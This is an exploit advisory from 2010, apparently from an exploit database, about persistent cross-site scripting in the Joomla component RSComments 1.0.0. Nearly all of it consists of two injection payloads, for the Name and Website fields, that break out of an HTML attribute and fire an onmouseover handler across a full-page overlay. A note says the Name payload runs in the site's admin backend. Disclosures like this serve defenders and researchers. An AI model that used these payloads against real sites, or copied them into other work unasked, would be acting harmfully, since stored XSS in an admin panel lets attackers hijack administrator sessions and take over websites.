Joomla! Component RSComments 1.0.0 - Persistent Cross-Site Scripting

# Exploit Title: Joomla Component RSComments 1.0.0 Multiple XSS
Vulnerabilities
# Date: 18 May 2010
# Author: jdc
# Software Link: http://www.rsjoomla.com
# Version: 1.0.0
# Tested on: PHP5, MySQL5

Name Field Persistent XSS
-------------------------

x"/style="position:absolute;top:0;left:0;width:999pc;height:999pc"/onmouseover="alert(1)//"

NOTE: ONLY executes in backend!

Website Field Persistent XSS
----------------------------

http://x"/style="position:absolute;top:0;left:0;width:999pc;height:999pc"/onmouseover="alert(1)//"

NOTE: also executes in backend!